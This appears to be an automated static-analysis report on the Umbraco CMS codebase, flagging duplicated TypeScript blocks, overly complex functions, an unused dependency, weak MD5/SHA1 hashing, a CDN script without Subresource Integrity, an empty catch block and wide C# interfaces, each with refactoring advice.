Duplicated block with local edits (110 matched lines × 2 locations) src/Umbraco.Web.UI.Client/src/packages/media/media/workspace/media-workspace-editor.element.ts:11— src/Umbraco.Web.UI.Client/src/packages/media/media/workspace/media-workspace-editor.element.ts:11 · src/Umbraco.Web.UI.Client/src/packages/members/member/workspace/member/member-workspace-editor.element.ts:11 — the two spans are one implementation copied and then locally edited — 617 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one.
R10 · Code Duplication· Duplicated block with local edits (107 matched lines × 2 locations) · ×1
Duplicated block with local edits (107 matched lines × 2 locations) src/Umbraco.Web.UI.Client/src/packages/members/member-group/components/input-member-group/input-member-group.element.ts:92— src/Umbraco.Web.UI.Client/src/packages/members/member-group/components/input-member-group/input-member-group.element.ts:92 · src/Umbraco.Web.UI.Client/src/packages/members/member/components/input-member/input-member.element.ts:93 — the two spans are one implementation copied and then locally edited — 673 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one.
R10 · Code Duplication· Duplicated block with local edits (106 matched lines × 2 locations) · ×1
Duplicated block with local edits (106 matched lines × 2 locations) src/Umbraco.Web.UI.Client/src/packages/core/collection/item/umb-entity-collection-item-element-base.element.ts:58— src/Umbraco.Web.UI.Client/src/packages/core/collection/item/umb-entity-collection-item-element-base.element.ts:58 · src/Umbraco.Web.UI.Client/src/packages/core/entity-item/entity-item-ref/entity-item-ref.element.ts:62 — the two spans are one implementation copied and then locally edited — 668 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one.
R10 · Code Duplication· Duplicated block with local edits (101 matched lines × 2 locations) · ×1
Duplicated block with local edits (101 matched lines × 2 locations) src/Umbraco.Web.UI.Client/src/packages/documents/documents/publishing/unpublish/modal/document-unpublish-modal.element.ts:28— src/Umbraco.Web.UI.Client/src/packages/documents/documents/publishing/unpublish/modal/document-unpublish-modal.element.ts:28 · src/Umbraco.Web.UI.Client/src/packages/elements/publishing/unpublish/modal/element-unpublish-modal.element.ts:18 — the two spans are one implementation copied and then locally edited — 657 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one.
Duplicated block (96 lines × 3 locations) src/Umbraco.Web.UI.Client/src/packages/documents/document-types/entity-actions/import/modal/document-type-import-modal.element.ts:12— src/Umbraco.Web.UI.Client/src/packages/documents/document-types/entity-actions/import/modal/document-type-import-modal.element.ts:12 · src/Umbraco.Web.UI.Client/src/packages/media/media-types/entity-actions/import/modal/media-type-import-modal.element.ts:9 · src/Umbraco.Web.UI.Client/src/packages/members/member-type/entity-actions/import/modal/member-type-import-modal.element.ts:9 — the 3 copies are spread across 3 directories, so the shared home is a decision rather than an obvious spot: check first whether one of them already owns this behaviour, and otherwise put the extracted module somewhere all of the sites already reach rather than making one of them depend on another.
R10 · Code Duplication· Duplicated block with local edits (91 matched lines × 2 locations) · ×1
Duplicated block with local edits (91 matched lines × 2 locations) src/Umbraco.Web.UI.Client/src/packages/block/block-list/components/inline-list-block/inline-list-block.element.ts:141— src/Umbraco.Web.UI.Client/src/packages/block/block-list/components/inline-list-block/inline-list-block.element.ts:141 · src/Umbraco.Web.UI.Client/src/packages/block/block-single/components/inline-single-block/inline-single-block.element.ts:85 — the two spans are one implementation copied and then locally edited — 454 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one.
Wholesale file copy (86 identical lines × 2 files) src/Umbraco.Web.UI.Client/src/packages/elements/publishing/publish/entity-bulk-action/publish.bulk-action.ts:2— src/Umbraco.Web.UI.Client/src/packages/elements/publishing/publish/entity-bulk-action/publish.bulk-action.ts:2 · src/Umbraco.Web.UI.Client/src/packages/elements/publishing/unpublish/entity-bulk-action/unpublish.bulk-action.ts:2 — these 2 files are line-for-line copies of one another — 86 lines are identical, in the same order, in every one of them — so this is one fact about the file set, not a block to extract. An edit made to one file and not the others changes behaviour silently, which is the failure a wholesale copy guarantees. Pick one file as the single source and derive the others from it (re-export it, spread it into the local overrides each variant genuinely needs, or generate the copies at build time) — the few lines that differ between the files are exactly the part each variant should still own. Check first whether the copies are deliberately standalone deliverables (a translation file seeded from its sibling and waiting to be translated); where they are, the duplication is the design, and the honest move is to mark the seeded file as untranslated rather than to let it pass as done.
Duplicated block (85 lines × 3 locations) src/Umbraco.Web.UI.Client/src/packages/templating/partial-views/repository/partial-view-detail.server.data-source.ts:16— src/Umbraco.Web.UI.Client/src/packages/templating/partial-views/repository/partial-view-detail.server.data-source.ts:16 · src/Umbraco.Web.UI.Client/src/packages/templating/scripts/repository/script-detail.server.data-source.ts:13 · src/Umbraco.Web.UI.Client/src/packages/templating/stylesheets/repository/stylesheet-detail.server.data-source.ts:16 — the 3 copies are spread across 3 directories, so the shared home is a decision rather than an obvious spot: check first whether one of them already owns this behaviour, and otherwise put the extracted module somewhere all of the sites already reach rather than making one of them depend on another.
R10 · Code Duplication· Duplicated block with local edits (83 matched lines × 2 locations) · ×1
Duplicated block with local edits (83 matched lines × 2 locations) src/Umbraco.Web.UI.Client/src/packages/elements/item/data-resolver/element-item-data-resolver.ts:36— src/Umbraco.Web.UI.Client/src/packages/elements/item/data-resolver/element-item-data-resolver.ts:36 · src/Umbraco.Web.UI.Client/src/packages/media/media/item/media-item-data-resolver.ts:25 — the two spans are one implementation copied and then locally edited — 563 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one.
R10 · Code Duplication· Duplicated block with local edits (82 matched lines × 2 locations) · ×1
Duplicated block with local edits (82 matched lines × 2 locations) src/Umbraco.Web.UI.Client/src/packages/content/content/publishing/unpublish/modal/content-unpublish-modal.element.ts:59— src/Umbraco.Web.UI.Client/src/packages/content/content/publishing/unpublish/modal/content-unpublish-modal.element.ts:59 · src/Umbraco.Web.UI.Client/src/packages/documents/documents/publishing/unpublish/modal/document-unpublish-modal.element.ts:69 — the two spans are one implementation copied and then locally edited — 571 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one.
Complex function (anonymous) (cyclomatic 47, cognitive 85) src/Umbraco.Web.UI.Client/src/packages/core/sorter/sorter.controller.ts:961— (anonymous) has cyclomatic complexity 47 and cognitive complexity 85; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes.
Complex function _updatePlacement (cyclomatic 33, cognitive 76) src/Umbraco.Web.UI.Client/src/external/uui/uui-popover.element.ts:259— _updatePlacement has cyclomatic complexity 33 and cognitive complexity 76; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes.
Complex function build (cyclomatic 32, cognitive 31) tests/Umbraco.Tests.AcceptanceTest/lib/builders/userGroups/userGroupsPermissionsBaseBuilder.ts:208— build has cyclomatic complexity 32 and cognitive complexity 31; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive sits below cyclomatic here, so much of the count is breadth — arms side by side rather than stacked — and splitting per arm would leave a function per arm; group the work between the checks into named steps instead. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes.
Complex function (top-level) (cyclomatic 28, cognitive 31) src/Umbraco.Web.UI.Client/src/packages/core/components/input-dimensions/input-dimensions.element.ts:1— (top-level) has cyclomatic complexity 28 and cognitive complexity 31; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes.
Complex function #loadChildren (cyclomatic 28, cognitive 27) src/Umbraco.Web.UI.Client/src/packages/core/tree/tree-item/tree-item-children.manager.ts:219— #loadChildren has cyclomatic complexity 28 and cognitive complexity 27; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive sits below cyclomatic here, so much of the count is breadth — arms side by side rather than stacked — and splitting per arm would leave a function per arm; group the work between the checks into named steps instead. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes.
Complex function loadManifestApi (cyclomatic 25, cognitive 47) src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/load-manifest-api.function.ts:17— loadManifestApi has cyclomatic complexity 25 and cognitive complexity 47; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes.
Complex function loadManifestElement (cyclomatic 25, cognitive 47) src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/load-manifest-element.function.ts:16— loadManifestElement has cyclomatic complexity 25 and cognitive complexity 47; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes.
Complex function ObjectExpression (cyclomatic 25, cognitive 34) src/Umbraco.Web.UI.Client/devops/eslint/rules/enforce-manifest-alias.cjs:148— ObjectExpression has cyclomatic complexity 25 and cognitive complexity 34; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes.
Complex function moveItemInModel (cyclomatic 24, cognitive 48) src/Umbraco.Web.UI.Client/src/packages/core/sorter/sorter.controller.ts:1271— moveItemInModel has cyclomatic complexity 24 and cognitive complexity 48; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes.
Complex function updated (cyclomatic 23, cognitive 22) src/Umbraco.Web.UI.Client/src/packages/core/tree/default/default-tree.element.ts:150— updated has cyclomatic complexity 23 and cognitive complexity 22; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive sits below cyclomatic here, so much of the count is breadth — arms side by side rather than stacked — and splitting per arm would leave a function per arm; group the work between the checks into named steps instead. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes.
Complex function getValues (cyclomatic 22, cognitive 21) tests/Umbraco.Tests.AcceptanceTest/lib/builders/dataTypes/blockGridBuilder/blockGridBlockBuilder.ts:132— getValues has cyclomatic complexity 22 and cognitive complexity 21; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive sits below cyclomatic here, so much of the count is breadth — arms side by side rather than stacked — and splitting per arm would leave a function per arm; group the work between the checks into named steps instead. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes.
Complex function createExtensionElementWithApi (cyclomatic 21, cognitive 28) src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/create-extension-element-with-api.function.ts:19— createExtensionElementWithApi has cyclomatic complexity 21 and cognitive complexity 28; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes.
Complex function build (cyclomatic 21, cognitive 20) tests/Umbraco.Tests.AcceptanceTest/lib/builders/documentTypes/documentTypeBuilder.ts:150— build has cyclomatic complexity 21 and cognitive complexity 20; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive sits below cyclomatic here, so much of the count is breadth — arms side by side rather than stacked — and splitting per arm would leave a function per arm; group the work between the checks into named steps instead. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes.
Complex function flush (cyclomatic 20, cognitive 37) src/Umbraco.Web.UI.Client/src/packages/media/imaging/imaging-request-batcher.ts:36— flush has cyclomatic complexity 20 and cognitive complexity 37; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes.
Complex function #getStyles (cyclomatic 20, cognitive 21) src/Umbraco.Web.UI.Client/src/packages/tiptap/extensions/table/actions/table-properties.action.ts:55— #getStyles has cyclomatic complexity 20 and cognitive complexity 21; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes.
Complex function #onSubmit (cyclomatic 19, cognitive 23) src/Umbraco.Web.UI.Login/src/components/layouts/new-password-layout.element.ts:83— #onSubmit has cyclomatic complexity 19 and cognitive complexity 23; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes.
Complex function constructor (cyclomatic 19, cognitive 18) src/Umbraco.Web.UI.Client/src/packages/core/modal/context/modal.context.ts:68— constructor has cyclomatic complexity 19 and cognitive complexity 18; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive sits below cyclomatic here, so much of the count is breadth — arms side by side rather than stacked — and splitting per arm would leave a function per arm; group the work between the checks into named steps instead. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes.
Complex function (anonymous) (cyclomatic 18, cognitive 30) src/Umbraco.Web.UI.Client/src/libs/extension-api/controller/base-extension-initializer.controller.ts:266— (anonymous) has cyclomatic complexity 18 and cognitive complexity 30; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes.
Complex function #onKeydown (cyclomatic 18, cognitive 30) src/Umbraco.Web.UI.Client/src/packages/core/search/search-modal/search-modal.element.ts:247— #onKeydown has cyclomatic complexity 18 and cognitive complexity 30; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes.
Complex function #loadData (cyclomatic 18, cognitive 29) src/Umbraco.Web.UI.Client/devops/icon-manager/icon-manager-app.element.ts:53— #loadData has cyclomatic complexity 18 and cognitive complexity 29; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes.
Unused dependency '@tiptap/starter-kit' — Declared in src/Umbraco.Web.UI.Client/src/packages/tiptap/package.json but never imported anywhere in that package or its workspace members — no static import reaches it. Usually that is dead weight and attack surface, but two shapes are indistinguishable from source and are NOT dead: an optional or native peer that another dependency loads dynamically at runtime, and a package a build, docs or test step installs and invokes separately. Confirm which of the three this is before removing it.
Weak hash algorithm src/Umbraco.Core/Extensions/StringExtensions.Encoding.cs:321— MD5/SHA1 is constructed here, and both are collision-broken. If this digest protects anything — a signature, an integrity or tamper check, a credential, or any value an attacker can influence — that is a real weakness: use SHA-256+ for content integrity, or a KDF (PBKDF2/Argon2/BCrypt) for password storage. If it only derives a non-security identifier (a cache key, a file or mutex name), collision resistance carries no security consequence here; make that intent explicit instead — a non-cryptographic hash such as `System.IO.Hashing.XxHash64`/`Crc32` says it in code — since the algorithm alone cannot distinguish the two uses. This repository constructs a collision-broken hash (MD5/SHA1) at 7 sites, not one: `src/Umbraco.Core/Extensions/StringExtensions.Encoding.cs:321` (SHA1), `src/Umbraco.Core/Extensions/StringExtensions.Encoding.cs:325` (MD5), `src/Umbraco.Core/Extensions/StringExtensions.Parsing.cs:225` (MD5), `src/Umbraco.Core/HashGenerator.cs:152` (SHA1), `src/Umbraco.Core/IO/FileSystemExtensions.cs:26` (SHA1), `src/Umbraco.Core/Security/LegacyPasswordSecurity.cs:234` (SHA1), `src/Umbraco.Core/Security/LegacyPasswordSecurity.cs:238` (MD5). Each is a separate decision — fixing only the line this row cites leaves the others in place.
Third-party script without Subresource Integrity src/Umbraco.Core/EmbeddedResources/Snippets/EditProfile.cshtml:31— `https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js` is executed by this page with no Subresource Integrity. Whoever can answer that request — the CDN, anyone who compromises it, anyone on the network path — runs arbitrary script in this page's origin, with its session. 9 such include(s) across the repository's markup.
Swallowed exception (empty catch) src/Umbraco.Core/SystemLock.cs:172— An empty catch block silently discards the error — failures vanish with no log and no rethrow. On a teardown path letting it propagate is not an option (throwing out of `Dispose()` masks the failure already in flight and abandons the rest of the cleanup), so make the swallow deliberate instead: narrow the catch to the exception this release can actually raise, and record it through whatever this codebase already uses to report problems — or, if it truly cannot matter, say why in a comment on the catch.
Fat interface: IFileSystem (20 members) src/Umbraco.Core/IO/IFileSystem.cs:6— `IFileSystem` declares 20 members: `CanAddPhysical`, `GetDirectories`, `DeleteDirectory`, `DeleteDirectory`, `DirectoryExists`, `AddFile`, `AddFile`, `GetFiles`, `GetFiles`, `OpenFile`, `DeleteFile`, `FileExists`, `GetRelativePath`, `GetFullPath`, `GetUrl`, `GetLastModified`, `GetCreated`, `GetSize`, `AddFile`, `MoveFile`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. Those 20 declarations carry 16 distinct name(s), so part of the width is overloading rather than separate responsibilities — but 16 operations clears the >15 bar on its own, so the row is about responsibilities, not signatures. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces.
Fat interface: IUmbracoMapper (16 members) src/Umbraco.Core/Mapping/IUmbracoMapper.cs:10— `IUmbracoMapper` declares 16 members under just 3 distinct name(s): `Define`, `Define`, `Define`, `Define`, `Map`, `Map`, `Map`, `Map`, `Map`, `Map`, `Map`, `Map`, `Map`, `MapEnumerable`, `MapEnumerable`, `MapEnumerable`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. That is an OVERLOAD SET, not 16 separate responsibilities: a caller binds to 3 operation(s) and uses the overload it selected, so the Interface-Segregation harm does NOT apply on the caller's side and splitting this into role-interfaces would scatter one operation without relieving anything. The burden that does remain is the IMPLEMENTER's — all 16 signatures must be written and kept in step. Reduce it by collapsing overloads (optional or default parameters, or an options object) rather than by segregating the interface.
Fat interface: IContentBase (16 members) src/Umbraco.Core/Models/IContentBase.cs:12— `IContentBase` declares 16 members under just 15 distinct name(s): `ContentTypeId`, `ContentType`, `WriterId`, `VersionId`, `CultureInfos`, `AvailableCultures`, `Properties`, `SetCultureName`, `GetCultureName`, `IsCultureAvailable`, `GetUpdateDate`, `HasProperty`, `GetValue`, `GetValue`, `SetValue`, `RemoveValue`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. That is an OVERLOAD SET, not 16 separate responsibilities: a caller binds to 15 operation(s) and uses the overload it selected, so the Interface-Segregation harm does NOT apply on the caller's side and splitting this into role-interfaces would scatter one operation without relieving anything. The burden that does remain is the IMPLEMENTER's — all 16 signatures must be written and kept in step. Reduce it by collapsing overloads (optional or default parameters, or an options object) rather than by segregating the interface.
Fat interface: IContentTypeBase (24 members) src/Umbraco.Core/Models/IContentTypeBase.cs:9— `IContentTypeBase` declares 24 members: `Alias`, `Description`, `Icon`, `Thumbnail`, `AllowedAsRoot`, `ListView`, `IsElement`, `AllowedInLibrary`, `Variations`, `AllowedContentTypes`, `PropertyGroups`, `PropertyTypes`, `NoGroupPropertyTypes`, `SupportsVariation`, `SupportsPropertyVariation`, `RemovePropertyType`, `RemovePropertyGroup`, `PropertyTypeExists`, `AddPropertyType`, `AddPropertyType`, `AddPropertyGroup`, `MovePropertyType`, `ToSimple`, `DeepCloneWithResetIdentities`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. Those 24 declarations carry 23 distinct name(s), so part of the width is overloading rather than separate responsibilities — but 23 operations clears the >15 bar on its own, so the row is about responsibilities, not signatures. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces.
Fat interface: IPropertyType (17 members) src/Umbraco.Core/Models/IPropertyType.cs:8— `IPropertyType` declares 17 members: `Name`, `Alias`, `Description`, `DataTypeId`, `DataTypeKey`, `PropertyEditorAlias`, `ValueStorageType`, `PropertyGroupId`, `Mandatory`, `LabelOnTop`, `SortOrder`, `ValidationRegExp`, `SupportsPublishing`, `Variations`, `MandatoryMessage`, `ValidationRegExpMessage`, `SupportsVariation`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces.
Fat interface: IUser (16 members) src/Umbraco.Core/Models/Membership/IUser.cs:9— `IUser` declares 16 members: `UserState`, `Name`, `SessionTimeout`, `StartContentIds`, `StartMediaIds`, `StartElementIds`, `Language`, `InvitedDate`, `Groups`, `AllowedSections`, `ProfileData`, `Avatar`, `Kind`, `RemoveGroup`, `ClearGroups`, `AddGroup`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces.
Fat interface: IUserGroup (19 members) src/Umbraco.Core/Models/Membership/IUserGroup.cs:10— `IUserGroup` declares 19 members: `Alias`, `StartContentId`, `StartMediaId`, `StartElementId`, `Icon`, `Name`, `Description`, `HasAccessToAllLanguages`, `Permissions`, `GranularPermissions`, `AllowedSections`, `RemoveAllowedSection`, `AddAllowedSection`, `ClearAllowedSections`, `AllowedLanguages`, `RemoveAllowedLanguage`, `AddAllowedLanguage`, `ClearAllowedLanguages`, `UserCount`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces.
Fat interface: IPublishedPropertyType (17 members) src/Umbraco.Core/Models/PublishedContent/IPublishedPropertyType.cs:12— `IPublishedPropertyType` declares 17 members: `ContentType`, `DataType`, `Alias`, `EditorAlias`, `EditorUiAlias`, `IsUserProperty`, `Variations`, `CacheLevel`, `DeliveryApiCacheLevel`, `DeliveryApiCacheLevelForExpansion`, `ModelClrType`, `DeliveryApiModelClrType`, `ClrType`, `IsValue`, `ConvertSourceToInter`, `ConvertInterToObject`, `ConvertInterToDeliveryApiObject`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces.
Fat interface: IEntityRepository (27 members) src/Umbraco.Core/Persistence/Repositories/IEntityRepository.cs:11— `IEntityRepository` declares 27 members under just 11 distinct name(s): `Get`, `Get`, `Get`, `Get`, `GetAll`, `GetAll`, `GetAll`, `GetAll`, `GetSiblings`, `GetTrashedSiblings`, `GetByQuery`, `GetByQuery`, `GetObjectType`, `GetObjectType`, `ReserveId`, `GetAllPaths`, `GetAllPaths`, `GetAllPaths`, `Exists`, `Exists`, `Exists`, `Exists`, `Exists`, `GetPagedResultsByQuery`, `GetPagedResultsByQuery`, `CountByQuery`, `CountByQuery`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. That is an OVERLOAD SET, not 27 separate responsibilities: a caller binds to 11 operation(s) and uses the overload it selected, so the Interface-Segregation harm does NOT apply on the caller's side and splitting this into role-interfaces would scatter one operation without relieving anything. The burden that does remain is the IMPLEMENTER's — all 27 signatures must be written and kept in step. Reduce it by collapsing overloads (optional or default parameters, or an options object) rather than by segregating the interface.
